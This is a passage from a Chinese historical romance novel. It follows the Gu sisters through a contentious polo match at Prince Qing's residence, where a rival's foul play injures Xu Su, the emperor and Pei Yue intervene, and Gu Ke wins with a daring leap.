见人来全了,虽然众人都知晓马球规则,静宁县主还是强调了一下。
与以往的马球赛一样,都采取每队两男两女,四人制,比赛时间为一个时辰,进球多的队伍便为胜。
在场八人按照远近亲疏三言二语的自动分好了队。
顾珂、顾珈自然是一队,加上徐肃,没想到柳溢之也加入了她们这队。
看得静宁县主心头火起,一口银牙险些咬碎,心道,且让你们得意一会吧。
剩下的静宁县主、崔三娘、李时泽、上官昭便自动分成了一队。
主裁旗子挥下,八匹马离弦的箭一般射出,顾珈一马当先抢到了球,转手击向了顾珂的方向。
静宁县主方似对顾珈早有防备,李时泽打马过来,他的马是先帝爱驹照夜白的后代,此马鬓毛飞扬,四
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蹄腾跃间力量十足,速度飞快。
转瞬间,球就被李时泽截断,杆一转,球被击向得分的方向,早有上官昭等着接球。
顾珂勒马过来,见状双腿一夹马腹,探身抢断,往相反的方面带去。
上官昭见状紧随其后,崔三娘和静宁县主一左一右包抄过来,静宁县主看了被包围的顾珂一眼,得意一笑,探身挥杆,准备抢断球。
顾珂却看也不看她,转了一下腕子,球被猛的击向侧面,火红色的身影一闪而过。
顾珈接到了球,一人一马风驰电挚般过了准备拦截的李时泽,用力一击,球进了。
旁边看台上瞬间响起了叫好声,杜氏抚了抚心口,呼出了一口气,擦了擦手上的汗,拉着也跟着紧张半天的杜忘真,喝起彩来。
顾珂倒不知道台上的人还跟着紧张,她一双眼睛亮晶晶的,脸颊红扑扑的。
因策马奔跑,额头沁出了些薄汗,呼吸有些微喘,她握握球杆,身体随着活动有些兴奋起来了,她竟有些期待静宁县主接下来的出招。
这一球没防住顾珈和顾珂的配合,静宁县主狠狠瞪了顾珂一眼。
倒是李时泽虽然被过了球,倒也不生气,还称赞了几句顾珂传球传的好。
第二球,李时泽先抢到了球,挥杆传给了静宁县主,静宁县主打马向球门奔去,却被柳溢之抢断,球又传给了徐肃。
眼看徐肃离球门越来越近,又被李时泽抢断,他转身传给了静宁县主,静宁县主和崔三娘一左一右护着球向球门奔去。
顾珈和顾珂缠了上来,顾珂卖了个破绽,正愁无路可走的崔三娘见状面色一喜,便欲带球从这处突破,静宁县主见状面色一变。
刚欲阻止,却是顾珈单手执缰,单脚蹬着马镫翻下身子,球杖从崔三娘马腹下击出。
球被击到了柳溢之手中,趁无人看守,柳溢之带球在前和徐肃掩护在后,奔向球门,柳溢之伸臂一挥,二比零!
“蠢货!”静宁县主呵斥崔三娘,崔三娘面色通红,却又不敢言语。
倒是李时泽策马过来跟静宁县主嘀咕了几句,又眨了眨那跟王妃如出一辙的桃花眼,安抚了一下崔三娘,崔三娘的面色似是更红了。
柳溢之一击即中,大概是觉得自已也做了些贡献,有一些底气。
他跟徐肃配合成功,二人兴奋的击了一下掌,人也变的活泛起来,不像刚才不发一言。
第三球,这一球上官昭抢到了球,遭到了顾珈的拦截,他侧了个身,把球传给李时泽,被徐肃抢断。
徐肃看顾珂身旁无人,他做了个欲传球给柳溢之的假动作,把球传给了顾珂。
顾珂接到球便向球门带去,路上碰到了崔三娘的阻拦,崔三娘面色涨红,大概是自觉刚才那球受到了顾珂的羞辱,此刻也是卯着劲想要从顾珂这找回脸面。
她一双眸子似要喷火,缠上了顾珂,顾珂浅浅一笑,并不在意,回身一击,把球传给了顾珈。
球却早有防备的静宁县主拦下,她抢下了球,回身一击,传给了上官昭,徐肃前来阻拦,却被李时泽绊住,上官昭一路带球得分。
第四球也是如此,对方这次派了静宁县主专盯顾珂,而李时泽负责盯顾珈,专防姐妹二人的配合。
顾珂在在静宁县主有防备的紧缠下,未能突破,后被抢断,李时泽为他们队击中一球。
5. 受伤
二比二,比分持平。
顾珂策马走到顾珈身边,理理微乱的发丝,“看来咱们的配合是行不通了呢”
“他们这样过于关注咱俩,当真荣幸的很哪”,顾珈把玩着球杖。
第四球时,果然如二人猜测的那样,姐妹二人的配合被对方盯上。
对方使上了盯人的策略,这一球被顾珈抢下时,李时泽转瞬缠上,顾珈把球传向顾珂,又被静宁县主抢断。
静宁县主球杆一挥传给了崔三娘,崔三娘带球向球门而去时,却被柳溢之拦下。
因静宁县主盯着顾珂,李时泽缠着顾珈,一时都过不去,崔三娘情急之下只能把球传给上官昭,却又被斜冲出来的徐肃抢断,击中球门!
三比二,顾珂这队又领先一分。
崔三娘气的差点摔了球杖,知道把主要注意力放在顾氏姐妹二人身上行不通了。
旁边的静宁县主阴着脸打马过来,趁无人注意,对着崔三娘使了个眼神,崔三娘迟疑了一下,点了点头。
二人转瞬错开,面色如常。
徐肃乐呵呵的跑到顾珈旁边邀功,顾珈也觉得刚才那球抢的时间非常果断。
没想到几人从未在一起继习过,竟也这样快的打出了默契。
她看着徐肃的憨样,笑骂的几句,徐肃倒也不生气,嘴角还咧的更大了。
第六球,大概是想在美人面前表现,这把徐肃一马当先抢到了球。
他躲开上官昭的拦截,扬手一击,球传给了柳溢之。
大概是知道只盯顾氏姐妹这招已经被发现了,其他人反而能出其不意的进球,故这场顾珈几人改变了策略。
球一到柳溢之手中,李时泽就已等候多时,二人你来我往几下,球被李时泽抢走了。
顾珈堵在了李时泽前面,要说这里面的几人,无论是驭马,还是马球,技术最好的都是顾珈。
静宁县主这队目前看来主力就是李时泽,马快,反应快,故顾珈的注意力主要就放在他身上。
李时泽反应快,顾珈反应更快,球杆一扫,把球带走,奔着球门而去,静宁县主和崔三娘很快追上,三人几乎并驾齐驱。
余光扫过二女,这二人眉头微锁,注意力也不在球上。
顾珈蹙起眉头,心中暗暗防备,一旦二人真要耍什么手段,她就立刻从马上跃起,这种程度的速度和高度,对她的身手来说也不算什么。
顾珈正密切注意二人,只见崔三娘伸出了球杖,向着顾珈马腿的方向用力一击。
顾珈眼睛微眯,心道果然来了,正欲越起,这时一阵疾风猛的拂过她额前的碎发,预想到的马儿受痛失控没有发生。
她跟崔三娘的中间,突的挤进了一匹马,那匹马的腿,生生的受了崔三娘的蓄力一击。
来不及反应,马儿受疼失控摔卧在地。
既使徐肃早有准备,但他没有顾珈那样的好身手,被摔到地上的刹那,只能尽力避开要害,在地上滚了几圈卸力,就这样,也还是受了伤。
徐肃疼的额前后背冷汗直冒,看见顾珈急急下马奔了过来,又强忍着痛把嘴巴合上,反倒显得龇牙咧嘴。
“你怎么回事,用你来当英雄啊!”顾珈又是生气又是担忧。
气的是自已早有防备,却被徐肃这样打乱了,遭了这些本不用遭的罪。
忧的是,虽然自已对徐肃没有别的心思,但是也是认识多年的朋友,这也是为了自已而受伤,何况徐肃一片好意。
只是这样的好意会变成负担......她承担不起,她顾珈,谁也不想欠。
“我这不是担心你嘛,怕你受伤嘛......”徐肃也后知后觉的反应过来,顾珈应是早有防备。
只是当时在那种紧要关头,一看顾珈有危险,他根本没时间思考,完全是身体的本能反应。
见顾珈生气了,忙道“我没事,一点都不疼,只是擦破了点皮,我还能继续比赛.......啊!!疼!疼!”
却是顾珈按住了他的脚踝,疼的他两眼一翻,差点闭过气去,忙连声告饶,嘴也不硬了。
“一场切磋而已,你们过分了”,顾珂抬头起,平日温和的目光里似含着碎冰,看着也纷纷下马围在周围的静宁县主等。
刚才顾珈等三匹马并排跑,崔三娘在看台外侧的角度,又有静宁县主和顾珈的马档着,看台上围观的人是看不清她的动作的。
只有正追在后面的顾珂看的清楚,就连在外围的柳溢之都不知道发生了什么事。
此时还一脸茫然,还以为是徐肃马儿出了问题,自已摔下来的。
崔三娘心里有鬼,扭扭捏捏,并不直视顾珂。
静宁县主冷嗤一声“你这么说是什么意思,他驭马不精,自已认输就好了,这自已从马上摔下来怪得了谁”。
闻得此言,顾珈脸色瞬间冷了下来,腾的站了起来,手一扬,抽出了腰上缠的软鞭,走向静宁县主。
“久闻静宁县主文武双全,乃闺阁表率,顾珈在此领教!”
顾珈怒极反笑,手里的鞭子蠢蠢欲动,静宁县主觉得那鞭子下一刻仿佛就要抽到自已。
她心里一阵发慌,心里又觉得顾珈不敢真的对自已动手,无非是吓唬自已,咽了咽口手,定了定神。
静宁县主嘴硬道,“顾珈!你休得放肆,比赛之中发生磕绊是难免的,又是马球这样的活动,先帝都曾言在马球场上风险自担,怎么,你们这是输不起吗”
“输的起怎么样,输不起又怎么样”,顾珈脚步不停,逼向静宁县主,却被李时泽挡住了。
刚才的意外如何发生的,李时泽虽然并没看到,但是他对自已这个无法无天的妹妹太了解了。
如果她有理,早上窜下跳了,半点不会容别人多说一句的,此时她脸上的神情一目了然。
无需多问,就算这个事不是她自已亲自动手的,也定与她脱不了干系。
别说顾珈,就连他把前因后果联想到后,都觉得这个妹妹蠢到家了。
这些年
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,庆王府只育有一个女孩,父王和母妃又娇宠了些,竟是养成这样跋扈不容人的性子,不过一场切磋而已,就敢下这样的手!
圣人继位时,很是一番血雨腥风。
万幸父王当时多留了个心眼,在当时的端惠公主央请时,守卫皇城的左右亲吾卫恰好是父王的人。
在父王的默许之下,端惠公主带领府军杀入皇城,清了君侧,维护了正统,使得当时的太子顺利即位,就是现在的圣人。
其实当时父王意志并不坚定,心道只是个皇城门而已,还是看你们双方的兵力,你们双方自已厮杀去吧。
如果是另一方赢了,只道没守住皇城门罢了,没想到真压对了宝,这场无数人血流成河的变故中,父王毫发无损,甚至更上一层楼。
眼看着圣人登基不过短短五年,就肃清了朝野内外,手段堪称雷霆,岂是能好相与的。
父王又好热闹,母妃又喜奢华,府中今天设宴,明天游园,参庆王府奢侈无度的折子雪花一样。
只不过圣人念着这点情分,留中不发而已。
李时泽常常劝父王低调些,假如哪一天这点子情分磨没了,类似今日的种种就会变成圣人手中的刀,斩向庆王府。
府中发生的事都瞒不过他,前儿个顾珂跟令仪口角,他也有所耳闻。
他觉得不过是女孩儿间的几句小打小闹,没想到这个时候这个妹妹还敢递这样的把柄给外人。
这跟把刀递给御史台有什么两样,他闭了闭眼,血液蹭蹭往头上涌。
且不说徐肃乃镇国公嫡孙,镇国公像个爆碳一样,这样的事他焉能善了,就连顾家也不是那么好惹的。
顾祭酒虽然致仕了,但他在读书人心目中的地垃可无人能撼动。
只要今天顾祭酒皱皱眉头,明日就会有国子监出身的御史血溅太极殿。
何况顾伯山和顾怀仁还在朝中任着不大不小的官。
自已家这个宗室立身靠的不过是与圣人的亲疏与喜好。
天家无骨肉,何况父王这个皇叔。
庆王府看起来花团锦簇,实则烈火烹油,容不得半点行差踏错。
“顾姑娘,这件事,给我三日时间,定会给你们个交待”,李时泽道。
“呵呵”顾珈冷笑道“我不需要你们的交待,何况,你们那些伎俩也伤不了我,你们需要交待的是他”。
顾珈说完,纤纤玉指一指徐肃,徐肃虽然腿疼,听了这话,不自觉的挺了挺胸膛,心里雀跃起来,觉得美人果然还是在乎他的。
“凭什么”,静宁县主一看二哥不向着自已说话,急道“技不如人就说技不如人的,输不起就玩赖啊,那以后我们比不过都自已摔一跤好了”。
说着,扫了徐肃一眼,恶毒的话张嘴就来“看看能不能有人多看自已一眼,唉,我们可不像某些人这么命好,摔一跤就有人心疼上了,孤男寡女的也不知道避讳,徐娘半老了还吊着一帮傻子天天形影不离,满口仁义道德,其实一肚子的男盗女娼!”
6. 裴越
“县主慎言!”柳溢之怒喝道。这半天的对话,使他猜了个大概,静宁县主等人的行为和这样不堪入目的话,连他都听不下去了。
徐肃肩膀猛的绷紧,胸口剧烈起伏,只用气得发抖的手指着静宁县主“你你你”了半天,硬是没说出完整话。
顾珈眼神陡然一利,眉峰狠狠蹙起,目光像淬了冰的刀子,不欲再废话,手腕一转,就要动手。
顾珂上前一步,拉住了姐姐正欲扬起的手,抬头间,目光对上静宁县主“既然是比赛,做为东道主,敢问县主,比赛的彩头是什么”
“彩头?”刚才看顾珈变了神色,似要动手,静宁县主心都提到嗓子眼,本能的欲抱头躲闪,手抬到半道,听得这话,一时没反应过来。
其余人也被这句话问得愣了,不明白刚才还要动手,怎的突然聊到了彩头上了。
顾珂黑眸锁住静宁县主,静宁县主无端的竟不敢直视顾珂的眼睛,只觉那眼眸黑的不像话,就这样沉沉的看着你。
见她未明白,顾珂又继续道“马球赛自古以来为博兴致,总要填些彩头助兴,当今圣人还是太子子时,出战吐蕃马球,扬我国威,被先帝赏赐娟百匹,圣人登基后亦多次组织马球,每每必有奖励,先帝贵妃杨氏亦率女子马球队与先帝对抗,赢了的女子都可获赏赐,有诗句展前香骑逐飞球(注)为证,我等切磋虽不能跟先帝、圣人相提并论,只传统早已有之,庆王府今日办这马球赛,难道并不知此规矩,并未准备,还是说,庆王府当真吝啬至此?可自圣人登基之后,赏赐庆王府财帛无数,连小小的彩头这样的东西都未准备,那么这些赏赐都用作何处了?”
顾珂轻飘飘的吐出最后一句话,听到李时泽耳中却如闷雷,他皱皱眉头,虽不知顾珂到底所为何意,但直觉告诉他应该阻止,他正欲出声,却被静宁县主抢先,“不过些金银粪土,直说吧,你想要说什么吧,这点子东西,我们庆王府还是不放在眼里的。”
"好!"顾珂急忙接道“以县主的手笔,想必如要准备,那彩头定不是俗物,只这样匆忙间准备的东西,怕会辱没了县主的尊贵,引得人嘲笑,这样吧”,顾珂的目光轻轻转到崔三娘脸上,崔三娘心无端一紧,忙回避视线,躲到了静宁县主身后,静宁县主自已也是强自镇定,看崔三娘这副更没出息的样子,又是生气又是嫌恶。
“如果我们赢了,县主和这位崔姑娘,给我姐姐和徐公子斟茶赔罪。”顾珂嘴唇微动,语气仍是不急不缓,却轻轻的在众人心中抛下了一个雷。
“放肆!”
“你失心疯了吧!”
静宁县主和崔三娘同时怒道。静宁县主都快气笑了,绕了一大圈子在这等着呢,刚才崔三娘击打的难道是顾珂的马,摔坏的不是徐肃的腿而是顾珂的脑子。
“县主不敢?输不起?”顾珂就这样静静的直视静宁县主的眼睛。
“你!”静宁县主正待发火,心念一转,突然意识到什么,冷笑一声"有什么输不起的,难道这位徐公子还能继续打马球?你们连人都不够,还在这说什么痴人梦话!真是可笑。"
"即便三个人,也够了,即然比了,总要有始有终的好,怎么,县主不敢么”。
三个人?
这回不只是静宁县主了,连顾珈几人都没反应过来,三个人怎么打。
"顾二姑娘,我明白你的心情,但是我们三个人,确实有点托大了",柳溢之对着顾珂低声道“徐兄的事庆王府肯定是要给个说法的,只是当务之急应该先把徐兄送医,别耽搁了,至于比赛,我们可以等徐兄康复了再一决高下也不迟。”
顾珂正要坚持,却传来了一道清朗的男声。
“如果不嫌弃,我来替徐公子上场把这场球打完”。
众人回身,在他们争论时,看台上的观众已经慢慢聚拢过来,而这些人正中立着两个方才并未见过的青年男子。
其中一位青年男子大约二十五、六岁,身着象牙白提花锦袍,领口与衣襟处着清浅的缠枝莲纹,持着折扇的手指节修长,细白如玉,眉眼间蕴着不怒自威的贵气,却又带着三分春风般的笑意,让人有一种亲近感,此时,他正在众人的包围下看向这里。
说话却是他身旁的男子,他正面带笑意缓步向这边走来,如芝兰玉树,眉眼温雅,鼻正唇薄,声音清越如玉石相击。
是他。
是那日站在玉兰树下的男子。
顾珂的心无端的漏跳几下,正不知如何开口,徐府的女眷赶到,把徐肃团团围住,几个夫人娘子,涕泪连连,直把徐肃翻过来看过去,就怕徐肃还有什么外表看不出的伤,眼看众目睽睽之下,袍子就要被扯下了,徐肃赶紧一把抓住,一张脸羞的通红。
“我没事!没事!就是腿摔了一下,这会儿都不疼了,真的!”。
不说还好,女眷们的眼泪流的更凶了,腿摔了?会不会变成瘸子啊?刚才她们离的远,只知道徐肃摔了下来,不知道具体什么情况,一听确实摔到腿了,一时更慌乱了。
"令仪,是不是你又胡闹了。"持扇的男子开口,语气虽和缓,却带着三分威严。
静宁县主看见来人楞了半天,听到问她才反应过来“没!没啊!啊,参见皇兄”,说着胡乱的行了一礼。
这里面除了李时泽对皇上是熟悉的,其余的众人也或多或少的随家人在宫廷宴会、皇家马球会等大型活动上远远的看过当今圣上,听到这声皇兄,几人才恍然反应过来,忙参拜行礼。
顾珂却是第一次见当今圣人李维桢,不由遗憾方才应该多看几眼天颜,眼下倒是不好再盯着看了。
先帝在位时,曾立李维桢为太子,但先帝弥留之际,李维桢正在云州办差,永王封锁消息,把持禁宫,图谋篡位,李
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维桢在一母同胞的姐姐惠和公主的帮助上,顺利登基。
虽说其能顺利登基,惠和公主当居首功,但其自身文武双全,又能够虚怀纳谏,这几年亲政后,使朝野清明,百姓安居乐业,倒也不失为一位明君。
他最初登基那几年有些先帝留下的老臣想倚老卖老,但李维桢步步为营,要么蛰伏,要出手就一击击中,这些年皇权已经被他牢牢的抓在手上,再没有权臣、世家敢做刺头。
以她父亲的品级,宫中设宴,她一般是没资格去的,圣人常组织马球会,她却是从未参加过,倒是顾珈热衷于打马球,应是碰上过圣人的。
“平身吧,就是听说今天有马球赛,朕也来凑凑热闹”,李维桢开口,又转头对着身边的管事太监满意吩咐“准备个步撵,把镇国公家的小子送回去吧,再让鲁乐去给他瞧瞧,务必要治好,缺什么药材尽管去朕的内库取。”
鲁乐是太医院院使,太医院第一把交椅。平日里负责给圣人请平安脉,家学源长,最擅跌打损伤,虽说镇国公府的门弟在满大靖朝也是顶尖的,但是想让鲁乐即时看诊也不是轻易排得上的。
镇国公家眷闻言连连谢恩,带着一脸不情愿的徐肃离开了。
“顾姑娘,不知道在下是否可以加入你们的队伍,与你们一起把这场比赛打完”,那人又问。
顾珂只觉得那人向自已走了过来,她眼睫低垂,都能看到那人身上坠着的鲤形羊脂玉坠的穗子,正在微微摆动。
“这怎么行,裴越刚才可没在,也没抽签,哪能随便换人。”静宁县主急道。
裴越,好久没听到这个名字了。顾珂的心里似投入了一枚沉沉的石头,激起一圈圈涟漪。
这个名字,顾珂是知道的。
惠和长公主和驸马的独子,今年二十岁,圣人的亲外甥。当年先帝驾崩,皇权能够顺利过度,惠和长公主当居首功,联合世家,率领府兵亲卫,杀入皇城,将密谋篡位的永王诛杀,迎圣人登基,因圣人当年只有二十岁,羽翼尚未丰满,又一路护佑扶持,直至圣人肃清朝野,海内臣服时,又立刻放权,与驸马云游修道去了。
所以对于圣上,在某种程度来说,裴越这个外甥比李时泽这个堂兄弟,可亲近多了,可以说是圣人面前最受器重的子侄辈,虽然圣人自已也只有二十五岁。
除了这些,其实裴越自已的事也是能从延平门讲到延兴门。有这样的出身,明明可以荫封,做个富贵闲人,他却隐瞒身份在十五岁那年下场,中了进士。
他中进士游街的那天,更是全城空巷,掷果盈车,小姑娘小媳妇都来看这意气风发的英俊少年郎,游街第二日,绣纺的生意比平日里多了一倍,只因多少小娘子被踩丢了鞋。
本以为他会走文官的路子一路参政议事,结果他又在十六岁那年偷跑到了北方的军中,打回纥去了,还立了不少军功。
7. 抢球
最有名的就是去年的灵州保卫战,听说当时回纥偷袭,裴越领着五千人支援灵州,结果因为援军却被回纥绊住。
灵州城内算上裴越带来的五千兵马,才一万多人守城,就是这样对着回纥的十万大军,硬是守了灵州二个月,等来了援军,保下了灵州。
这个事被街头茶馆改成了少年将军的故事,裴越也成了多少小娘子的春闺梦里人。
当世人又觉得他会走武将的路子,封狼居胥,结果在灵州保卫战后没多久,他又突然回到了京城。
现在任着牛千卫的将军,掌管皇帝亲卫。
“但是比赛还没完啊,而且”,李维桢的声音打断了顾珂的思绪,只见李维桢眼光轻轻一转,轻飘飘的落在了李时泽的脸上,“举办马球赛自然该准备些彩头,顾二姑娘说的有理”
又对裴越道“裴越,你就去陪他们几个胡闹一会吧”。
圣人说这话时,虽是笑着,李时泽心里却一沉,这是圣人在敲打他们,忙拽住了仍不死心的静宁县主“皇兄说的是,彩头......就按顾二姑娘说的吧”,说着又转向了裴越,“裴越,手下留情啊。”
裴越笑着应是。
李维桢突然出声“顾大姑娘,以为如何”。
顾珂闻言去看顾珈,觉得她这会有点过于安静,倒不是说顾珈平日里有多闹,只是刚才徐肃被抬走时,眼巴巴的看着顾珈,盼美人能够再关心关心他,可顾珈却连个眼神都没给她,一幅心事重重的样子,顾珂不由有些担心。
顾珈却只道"一切听凭圣人安排",再不言语。
“那便快开始吧”,李维桢扔下这句,转身走到场边内侍早已备好的座位上坐定,接过内侍递到手边的香茗,一幅准备认真观看的架势。
趁此机会顾珂收拾好心情,以眼神询问顾珈,顾珈摇摇头只道无事,又转开话题,顾珂只好暂时撂开。
马球赛继续。
只李时泽走到李令仪身边,不放心的又嘱咐道"好好打球,莫要再动什么歪心思,你心里也该有个轻重”。
说罢也不再看她,转身上了马,李令仪一口银牙都要咬碎了,却又不敢声张。
场上的比分仍然是三比二,顾珂这队领先一分。距离比赛结束大约还有一刻钟。
顾珂想裴越的马球应该会打得很好,本朝贵族、仕子,无论男女尤爱打马球,何况裴越这样勋贵子弟中的佼佼者,他十几岁时,也是长安城中最意气风发的少年郎。
实际情况是,与其说裴越马球打的好,不如说裴越配合的更好。
刚上场时,几个人似乎都还没进入状态,丢了二球。他面上也不见焦急,很快他摸清了众人打马球的习惯,又不急于自己得分,而是抓住队友擅长的点,找准时机,把球准确的传过来。
而静宁县主这边也狠狠憋着一股劲,毕竟按方才李维桢的意思,如果赢了,也就罢了,可以等过后再慢慢谋划,可是,如果真的输了,大概是真要给出那个“彩头”。
故而几个神情紧绷,竟比方才打的还凶。
一时间,场上的人竟都拿出了看家的本事,你来我往,一球不让。
随着日晷光影的变化,一个时辰即将到了,裁判的旗子已经握在了手上。
比分现在持平。
李时泽想着,时间太短了,按照现在双方的状态,要想再进一球,实在难如登天,还容易焦急之下露了破绽,给对方可趁之机。
如果保持平局,拖到比赛结束,那对己方来说肯定是最好的局面。这样对李维桢那里也有个交代。
打定主意,李时泽心下一横,打算用拖的策略。
他的这种变化,顾珂很快就感觉到了,她唇珠拧的发白,这不是她想要的结果。
裁判的旗子已经渐渐举高,眼看着随时便要挥下。
柳溢之带球冲到了得分的球门下时,却被李时泽凭着马快的优势硬生生的抢断。
李时泽知道要带球绕过这些人打入己方得分的球门已是不可能,反手用力一扬,竟将球打向场外。
就在他松了口气,以为这场比赛到此为止时,一个身影似离弦之箭冲了出去。
顾珂驭马全力向球落的方向追去,而球落的方向是高高的球场围栏。
众人倒吸了一口气,顾珈急喝到“快停下”,一夹马腹忙跟了上去。
以这种速度冲过去,且不说顾珂的技术如何,这种高度的围栏也不是一般马能够跃过的,少不得落个人死马伤的下场。
顾珂感觉到风快速的从她身边擦过,鬓边散下的发丝随着起伏不断的拍打在她的脸上,手心的汗已经浸湿了缰绳,此刻她觉得周围很安静,众人焦急的呼喊声似乎被隔了层雾气,她觉得自已的灵魂都要从颅顶晃出来,只能看见前方即将坠落的球,听见自已越来越巨烈的心跳。
追上了!顾珂心中一喜。
在即将撞上栏杆时,顾珂终于追上了球,可她同时发现,栏杆距离球门实在太远了,以她的臂力,必然击不了那么远,顾珂心中一沉,难道就这样算了?
她不甘心转了下头,一抹身影让她眼前一亮。
那身影的主人似是对她毫不担心,就这样高举球杆立在她与球门之间,顾珂不再犹豫,用尽全身的力气将球向他的方向击去,同时双腿夹紧马腹,猛拉缰绳,只见一人一马在众人的视线中高高跃起,在半空中划过一道影子,顺利跨过围栏。
球进了,顾珂心下一松,勒马返回球场。
静默片刻后,人群中响起了雷鸣般的掌声和叫好声。
顾珂现在是狼狈的,发丝散乱,额上沁着汗珠,不知是兴奋还是紧张,双颊绯红,眼睛晶亮。
方才的一跃,跃进了一些小郎君的心中,此刻再看顾珂,觉得她从林中一人一马慢慢走出,已经渐斜的红日给她镶了一层轮廓。
连李时泽都不自在的轻咳一声。
顾珈追了上来“怎么样,有没有事!”
顾珂知道方才的自已应该是把姐姐吓到了,不免有些心虚,连连摇头,证明自已无事。
却还是被顾珈恶狠狠的剜了一眼“回去再收拾你!”
顾珂忙赔笑,抬头间,撞入了裴越的视线。
裴越坐在马上注视着她,见她看了过来,笑着轻轻颔首。
顾珂脸颊微微发热,点了点头便移开了视线
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,只有内心的起伏暴露了她因方才那默契的配合而产生的悸动。
比赛结束,见顾珂无事,几人走向李维桢。
只静宁县主仍不死心,还去找裁判掰扯,说最后裴越击中球门时已经过了时间,裁判被她缠烦了,索性躲到了一边。
“县主是输不起吗”,顾珂问道。
“放肆!”李令仪又羞又怒。
“令仪,既然顾姑娘们这方赢了,说好的彩头应该兑现了”,李维桢道,目光轻轻掠过顾珂,心道,人人都说顾家大姑娘泼辣,擅长骑马、武艺,而顾家二姑娘则与其姐不同,只喜书画,从未听说马术如此精湛,倒是令人惊讶。
在场的众人皆有此感。谁能想到那姑娘温文尔雅的,竟能驭马跳那么高,还能毫发无损的回来。
而擅马术的人更是看出来些门道。要知道,刚才顾珂在瞬息之间完成抢球、纵马,动作流畅,一气呵成,且顾珂应是第一次骑的这匹马,人马之间并未磨合过,虽说这匹马看起来也膘肥体健,但并不是什么珍贵马种,要想做到顾珂刚才的动作,没个二、三年苦练,是达不成的,要是个军中将领或醉心马术的五陵少年,倒也合理,偏偏是顾珂这样看上去文文弱弱的小娘子。
李令仪虽不愿,到了这种时候,也知道不得不为了。她脸涨的通红,酝酿了半天,才在李维桢的目光和自家哥哥的催促下,对着顾珈憋出来个对不起。
说完,李令仪就狠狠的一摔马鞭子,草草向李维桢行了个礼,哽咽着跑出马球场,场边庆王府的丫头急忙跟去。
顾珈对李时泽道“县主不愧天家骨肉,重信守诺,她的道歉我收到了,只是劳二公子转告县主,别忘了还有徐大郎。”
“自是不会”,李时泽淡淡道,说完对着李维桢行礼道“皇兄,臣弟去看看令仪”
“去吧,这丫头就爱钻牛角尖,渤海国前儿个贡上一匣子东珠,个个都如拇指大小,回头朕派人送来给她,让她留着顽吧。”
李时泽谢恩后便自去寻李令仪。
李维桢也不便多留,夸了几句顾氏姐妹的马术,也离开了。
裴越对着几人轻轻点了点头,随圣人离去了。
方才看了那么精彩的一场马球赛,见圣人离去,天色也将晚,众人便也都散了。
刚回到府里,姐妹二人却被候着的侍从直接请到了顾伯山的书房。
顾伯山也是刚下了衙,此刻换上常服正坐在书案前翻着书。
他今年三十有八,近不惑之年,只眼角染了浅浅的细纹,却无半分沧桑粗粝之气,反而多了几分沉稳雅致。
见姐妹二人进来,顾伯山放下了书,问起姐妹二人今日庆王府的事。
顾珂心道,大伯好快的消息。二人前脚刚进家门,大伯后脚就问起了。想来大伯是块干锦衣卫的料。
顾珈简单的将今天的事情复述给了顾伯山。
听到了她们与李令仪的口角,顾伯山倒不甚担心,还称赞顾珂道“我顾家的女儿就该有如此风骨,才不算折了我顾家的门楣”。
顾珂道出自已的担心“庆王毕竟有从龙之功,又是宗室,位高权重,就怕给家里添了麻烦”。
8. 被困
家中如今能够在官场上略撑些门面的,就是是任正四品礼部侍郎的大伯。
且顾伯山素日里从不与人交恶,为官老练,眼看着,似乎还能升上一升,顾珂在心里有一种感觉,总觉得以大伯的能力,应该走得更高些。
要知道,当年杜氏虽然是对大伯的脸一见衷情,但西平候一族可不都是看脸的。
顾伯山当时刚中进士,尚看不出什么远大前程,在杜氏几个兄弟叔伯的多翻试探下,最后能够获得首肯,将侯府嫡女下嫁,看的肯定不只只是脸。
顾伯山笑着摆摆手“只是你们小孩子之间的玩闹,如何能扯到官场上,放心吧,就算庆王拎不清,还有圣人呢。再说,我和你父亲都在。实在不济,还有你祖父呢,焉有看着你们受欺负的道理。我们不就是给你们遮风挡雨的”。
顾珂听得心中一暖。顾伯山又与姐妹二人闲话几句,便打发姐妹二人出去了。
眼看便要走到分叉路,顾珂终于问出了她一下午的担忧”姐姐,发生了何事。”
从徐肃受伤后,顾珈便有些沉默,刚才在书房,更是心不在焉。
顾珈揉揉额头,只道是有些乏了,倒想起问起顾珂来“你何时练的马术,平日里我去跑马,叫你都不来”。
顾珂道“姐姐可还记得我去云州舅父那里住的两年,在那边跟表姐们学的,近年来确实不怎么跑了”。
“原来如此”,顾珈恍然,顾珂十岁时,外祖母病重,二婶回去侍疾,住在当时任云州刺史的舅父家。
因着顾珂与表姐们玩的好,后来她外祖母过世后,二婶先回来了,顾珂又住了一阵,直到十二岁那年才回长安。
顾珈又问,“你之前认识裴越吗”
顾珂眨眨眼道,“......不认识”。
"当真?”顾珈不信“那他为何要帮我们,我们与长公主府平日里也素无来往,他也是勋贵,按理说应该站在李令仪那边才对”。
面对姐姐怀疑的目光,顾珂眨眨眼,面色不改“我也不明白,想来是打抱不平吧”。
“是吗?”顾珈还是不信“若只是第一次见面,你俩配合的怎么那么默契,当时看见你冲过去,大家都吓了一跳,想去接应你,唯他站在那里老神在在的,似乎对你的马术信心十足,丝毫不认为你会有危险,你俩一个传,一个打,默契十足,像是商量好的似的,若说他是冷血,那压根就不会帮我们,所以还是不对劲!连我都不知道你马术那么好!你俩之前肯定认识。你快从实招来”。
顾珈越想,越觉得自已的分析的有道理,说到最后几乎是已经肯定了。
看着姐姐眼神越来越敏锐,顾珂败下阵来,眼神有些飘乎,想起了很多年前的事。
“姐姐可还记得五年前大兴善寺的那晚?”
“五年前?”顾珈愣了一下,脑中闪过什么,眼中的疑惑渐渐散去“你是说?那晚是他救了你?”
算起来,顾珂应该是第四次见到裴越了。
第三次在柳尚书府,今天是第四次。
顾珂躺在架子床上,盯着素纱床帐,思绪回到了五年前。
那时候阿娘还在世,她只有十二岁,刚从云州回来不久。
那时候的被云州自由的风吹惯了,回到长安很不适应。听闻阿娘要去大兴善寺上香,便央着阿娘要跟去玩,阿娘被她磨的没办法了,便带上她了。
阿娘谢氏体弱,生完她之后,肚子便再无消息,父亲又肯不纳妾,还总宽慰阿娘,阿娘心里过意不去,想给父亲再生个儿子的念头都成了心魔。
此次来上香也是想要得佛祖庇佑,能够给父亲生个男丁延续香火。
变故就发生在二人离开时。一脚踏上马车,顾珂指尖触到车帘,刚要掀开,前方突然一阵骚乱,只见刚出寺门的人纷纷面色慌张,叫嚷着往回跑。
一阵沉闷的马蹄声骤然而至,震得地面都微微发颤。那响声密集而沉重,绝非寻常车马,是卫兵!
这在白日的长安城,绝不寻常,联想到皇帝病重多日,在场的人瞬间面色惨白。
